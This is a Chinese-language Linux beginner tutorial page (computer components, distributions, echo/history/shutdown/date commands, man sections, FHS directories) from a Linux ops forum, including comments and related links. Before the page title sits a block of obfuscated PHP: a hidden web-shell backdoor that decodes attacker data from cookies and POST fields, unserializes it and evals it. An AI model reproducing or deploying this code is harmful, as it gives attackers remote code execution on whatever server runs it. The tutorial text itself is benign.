$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 计算机基础与Linux初识 | Linux运维部落

计算机基础与Linux初识

一、 计算机的组成及其功能。
     计算机五大组成部件:运算器、控制器、存储器、输入设备、输出设备。其中CPU主要由运算器及控制器组成。
     1、运算器:进行算数运算、逻辑运算,对数据进行加工处理。
     2、控制器:计算机的指挥系统,例如控制CPU总线的使用权限,调度程序、数据,协调计算机各部分工作及内存与外设的访问。
     3、存储器:内部存储器主要指内存,计算机在工作时讲程序、数据和各种信号、命令等信息放在内存中。外部存储器有硬盘、U盘等,可以存放程序、数据,CPU工作时将硬盘数据调入内存中使用。
     4、输入设备:输入设备的作用是将程序、数据、文字、符号等信息输入到计算机。鼠标、键盘、磁带机等都属于输入设备。
     5、输出设备:输出计算机的数据加工结果,典型的输出设备就是显示器。
二、Linux的发行版,及其之间的联系与区别。
     Linux的发行版有数百种之多,是由不同的组织发行的。主流的发行版有三款:Debian、SLS的分支版Slackware的子分支版S.u.S.E、Redhat。他们都使用Linux内核。
     Debian没有商业公司发行,嵌入程序少,轻巧,对使用者的技术要求高。使用dpkg包管理器,前端管理工具apt-get。
     S.u.S.E界面华丽,使用便捷,欧洲使用者较多。使用rpm包管理器,前端工具为zypper。
     Redhat亚洲及美国使用较多,帮助类文档也较多。使用rpm包管理器,前端管理工具yum但即将被dnf代替。
三、 Linux的哲学思想
     1、一切皆文件。所有资源在Linux上都以文件方式存在,硬件设备、通讯接口也通过文件表示,在Linux中都有相关的设备文件。比如物理终端console,也有相对应的文件/dev/console。
     2、由众多功能单一的程序组成:一个程序只做一件事,并且做好组合小程序完成复杂任务。
     3、尽量避免跟用户交互:目标是易于以编程的方式实现自动化任务。
     4、使用文本文件保存配置信息。
四、 Linux系统上命令的使用格式,及ifconfig、echo、tty、startx、export、pwd、history、shutdown、poweroff、reboot、hwclock、data命令的使用介绍。
     命令的通用格式为:COMMAND OPTIONS ARGUMENTS
            COMMAND:命令。
         OPTIONS:命令的特性,相当于命令可实现的特定功能。
         ARGUMENTS:命令的使用对象。
     1、ifconfig:查看活动接口的IP地址。inet后面就是IP地址。
 计算机基础与Linux初识
     2、echo:回显命令。
         echo [SHORT-OPTION]… [STRING]…
 计算机基础与Linux初识
         -n:显示时不执行换行操作
 计算机基础与Linux初识
         -e:让转移符生效
              \n:换行
 计算机基础与Linux初识
              \t:制表符:相当于加一个tab空格
 计算机基础与Linux初识
        STRING可以使用引号,单引号和双引号均可用
            单引号:强引用,变量引用不执行替换
            echo ‘$SHELL’
            双引号:弱引用,变量引用会被替换
            echo “$SHELL”
 计算机基础与Linux初识
3、tty:查看当前的终端设备。
 计算机基础与Linux初识
4、startx:打开图形界面,startx &。
 计算机基础与Linux初识
5、export:设置或显示环境变量。
     export [-fn] [name[=value]…] or export -p
         -f:代表[变量名称]中为函数名称。
         -n:删除指定的变量。变量实际上并未删除,只是不会输出到后续指令的执行环境中。
         -p:列出所有的shell赋予程序的环境变量。
 计算机基础与Linux初识
         export mm:创建名称为mm的环境变量
 计算机基础与Linux初识
         export mm=7:将变量赋值为7
 计算机基础与Linux初识
6、pwd:显示现在用户所在工作目录。
 计算机基础与Linux初识
7、History:用户执行过的命令记录。
        定制history的功能,可通过环境变量实现。
              HISTSIZE:shell进程可保留的命令历史的条数
           HISFILE:持久保存命令历史的文件:.bash_history
           HISFILESIZE: 命令历史文件的大小
        命令用法:
              history[-c] [-d 偏移量] [n]
              或history -anrw [文件名]
              或history -ps 参数 [参数…]
         -c:清空命令历史
 计算机基础与Linux初识
         -d offset:删除指定命令历史
 计算机基础与Linux初识
         -r:从文件读取命令历史至历史列表中
         -w:把历史列表中的命令追加至历史文件中
         history 数字:显示最近的多少条命令
        调用命令历史列表中的命令:
               !数字:再一次执行历史列表中的第多少条命令
 计算机基础与Linux初识
               !!:再一次执行上一条命令
 计算机基础与Linux初识
               !STRING:再一次执行命令历史列表中最近一个以STRING开头的命令
 计算机基础与Linux初识
        注意:命令的重复执行有时候需要依赖于幂等性
        控制命令历史记录的方式:
        环境变量:HISTCONTROL
            ignoredups:忽略重复的命令
            ignorespace:忽略以空白字符开头的命令
            ignoreboth:以上两者同时生效
        修改变量的值:只对当前shell进程有效
            NAME=’VALUE’
8、Shutdown:关机或重启命令。
         shutdown [OPTIONS…] [TIME] [WALL…]
      OPTIONS:
               -h:halt(关机)
               -r:reboot(重启)
               -c:cancel(取消)
      TIME:
               now:立刻
               hh:mm:几点几分
               +m:几分钟以后
               +0:相当于now
       WALL:向客户端发送重启信息
9、poweroff:直接关闭电源
10、reboot:重启设备
11、Hwclock:硬件时钟
         显示或设定硬件时钟的
         -s,–hctosys 系统设置成硬件一样,to之前为标准时间。
         -w,–systohc 硬件设置成系统一样,to之前为标准时间。
12、Data:系统时钟
         显示日期时间:date [OPTION]… [+FORMAT]
      FORMAT:格式符
                date +%F 2015-12-08
                date +%H 18
                date +%T 19:09:30
                date +%F-%T
                %s 从1970年1月1日(unix元年)0点0分0秒到命令执行那一刻经过的秒数
 计算机基础与Linux初识
         设定日期时间:date [MMDDhhmm[[CC]YY][.ss]]
         date 101008082013.08:2013年10月10日8点8分8秒
五、 在Linux系统上获取命令的帮助信息,man文档的章节是如何划分的。
         获取命令的使用帮助:
         内部命令:
         help COMMAND,比如:help type
         外部命令:
         1、命令自带简要格式的使用帮助
         # COMMAND –help
         2、使用手册:manual
         位置:/usr/share/man
         # man COMMAND
         SECTION:
               NAME:功能性说明
            SYNOPSIS:语法格式
            DESCEIPTION:描述
            OPTIONS:选项
            EXAMPLES:使用示例
            AUTHOR:作者
            BUGS:报告程序bug的方式
            SEE ALSO:参考
               ….
        SYNOPSIS:
               []:可选内容:
               <>:必须提供的内容
               a|b|c:多选一
               …:同类内容可出现多个
         使用手册:压缩格式的文件,有章节之分
               /usr/share/man
                      man1,man2….
               章节代表意义:
                      1:用户命令:
                      2:系统调用
                      3、C库调用
                      4、设备文件及特殊文件
                      5、文件格式:(配置文件格式)
                      6、游戏使用帮助
                      7、杂项
                      8、管理工具及守护进程

         ~]# man CHAPTER COMMAND
         注意:并非每个COMMAND在所有章节下都有手册
         查看:
         ~]# whatis COMMAND
         注意:其执行过程是查询数据库进行的
         手动更新数据库:~]# makewhatis

          man命令打开手册以后的操作方法:
          翻屏:空格键:向文件尾部翻屏;
          b:向文件首部翻一屏
          ctrl+d:向文件尾部翻半屏
          crtl+u:向文件首部翻半屛
          回车:一次向文件尾部翻一行
           k:向文件首部翻一行
           G:跳转至最后一行
           #G:跳转至制定行(#代表数字)
           1G:跳转至文件首部
           文本搜索:在已经打开的手册中查找
            /keyword:从文件首部向尾部依次查找,不区分大小写
            ?keyword:从文件尾部向首部依次查找(keyword是关键词)
            n:与查找命令方向相同
            N:与查找命令方向相反
           退出:
           q:quit

           选项:-M /PATH/TO/SOMEDIR:到指定目录下查找命令手册并打开
六、 Linux发行版的基础目录名称命名法则及功用规定
        FHS:Filesystem Hierarchy Standard
             /bin:所有用户可用的基本命令文件。
             /sbin:供系统管理使用的工具程序。
             /boot:引导加载器必须用到的各静态文件:kernel,initramfs(initrd),grub等。
             /dev:存储特殊文件或设备文件。
                  设备有两种类型:字符设备(线性设备)、块设备(随机设备)。
             /etc:系统程序的配置文件,只能为静态。
             /home:普通用户的家目录的集中位置 :一般每个普通用户的家目录默认为此目录下狱用户名同名的子目录: /home/USERNAME。
             /root:管理员的家目录,可选。
             /lib:为系统启动或根文件系统上的应用程序(/bin,/sbin等)提供共享库,以及为内核提供内核模块
                  libc.so.*:动态链接C库
                  ld*:运行时连接器/加载器
                  modules:用于存储内核模块的目录
             /lib64:64位系统特有的存放64位共享库的路径
             /media:便携式设备挂载点,cdrom、floppy等
             /mnt:其他文件系统的临时挂载点
             /opt:附加应用程序的安装位置
             /srv:当前主机为服务提供的数据
             /tmp:为那些会产生临时文件的程序提供的用于存储临时文件的目录,可供所有用户执行写入操作,有特殊权限。
             /usr:usr Hierarchy,全局共享的制度数据路径
                  bin,sbin
                  lib,lib64
                  include:c程序头文件
                  share:命令手册页和自带文档等架构特有的文件的存储位置
                  local:另一个层级目录
                  X11R6;X-Window程序的安装位置
                  scr:程序源码文件的存储位置
             /usr/local:Local hierarchy,让系统管理员安装本地应用程序,也通常用于安装第三方程序
             /var:/var hierarchy,存储常发生变化的数据的目录
                  cache
                  lib-Variable
                  local
                  lock
                  log
                  opt
                  run
                  spool
                  tmp
         /proc:基于内存的虚拟文件系统,用于为内核及进程存储其相关信息,他们多为内核参数,例如net.ipv4.ip_forward,虚拟为net/ipv4/ip_forward,存储于/proc/sys/,因此其完成路径为/pro/sys/net/ipv4/ip_forward。
         /sys:sysfs虚拟文件系统提供了一种比proc更为理想的访问内核数据的途径,其主要作用在于为管理Linux设备提供一种统一模型的接口。

原创文章,作者:N27_huiyezhicheng,如若转载,请注明出处:http://www.178linux.com/79099

(0)
上一篇 2017-07-02 10:46
下一篇 2017-07-02 14:09

相关推荐

  • 从2个命令简单聊聊CentOS账户锁定原理

    linux中 passwd -l 和usermod -L有什么区别,各自的解锁和锁定原理是什么样的呢?

    2017-11-16
  • nfs服务部署wordpress

    NFS服务简介 NFS 是Network File System的缩写,即网络文件系统。一种使用于分散式文件系统的协定,由Sun公司开发,于1984年向外公布。功能是通过网络让不同的机器、不同的操作系统能够彼此分享个别的数据,让应用程序在客户端通过网络访问位于服务器磁盘中的数据,是在类Unix系统间实现磁盘文件共享的一种方法。 NFS 的基本原则是“容许不同…

    2017-04-28
  • linux下的文件查找命令对比(locate,find,grep,sed)

        在linux下,文件系统占据着非常重要的位置,而我们对于文件系统的操作也显得尤为重要。 如果我们想熟悉的操作文件系统,其中,我们需要对文本的查找,截取等命令需要熟悉的掌握。 这里就不得不说几个关于文本操作的几个命令的作用详细介绍和对比。比如: locate,find ,grep ,sed等。 这里,grep ,…

    Linux干货 2016-08-15
  • 磁盘分区

      1、创建一个10G分区,并格式化为ext4文件系统;    (1)要求其block大小为2048,预留空间百分比为2,卷标为MYDATA,默认挂载属性包含acl;   (2)挂载至/data/mydata目录,要求挂载时禁止程序自动运行,且不更新文件的访问时间戳 第一步:创建一个10G的分区     [r…

    Linux干货 2016-12-18
  • 编译Bind和压力测试

    编译安装bind ·下载bind:     isc.org:          bind-9.8          bind-9.9   &…

    Linux干货 2016-09-25
  • rrdtool学习笔记

    一、前言 为了做云缓存平台的技术储备,从零开始学习了rrdtool,rrdtool非常强大,刚接触会有摸不着边的感觉,尤其是一堆概念性的东西。学习的切入点便是这些概念,一一理解后你才能品尝到rrdtool的清香,首先要感谢ailms整理的“RRDtool简体中文教程v1.01”,通俗易懂的概况了rrdtool的所有知识。现在整理自己在学习过程中的一些笔记。 …

    2015-03-21

评论列表(1条)

  • 马哥教育
    马哥教育 2017-07-13 16:56

    总结的非常好的,希望您能牢记这些基础知识,加油!!!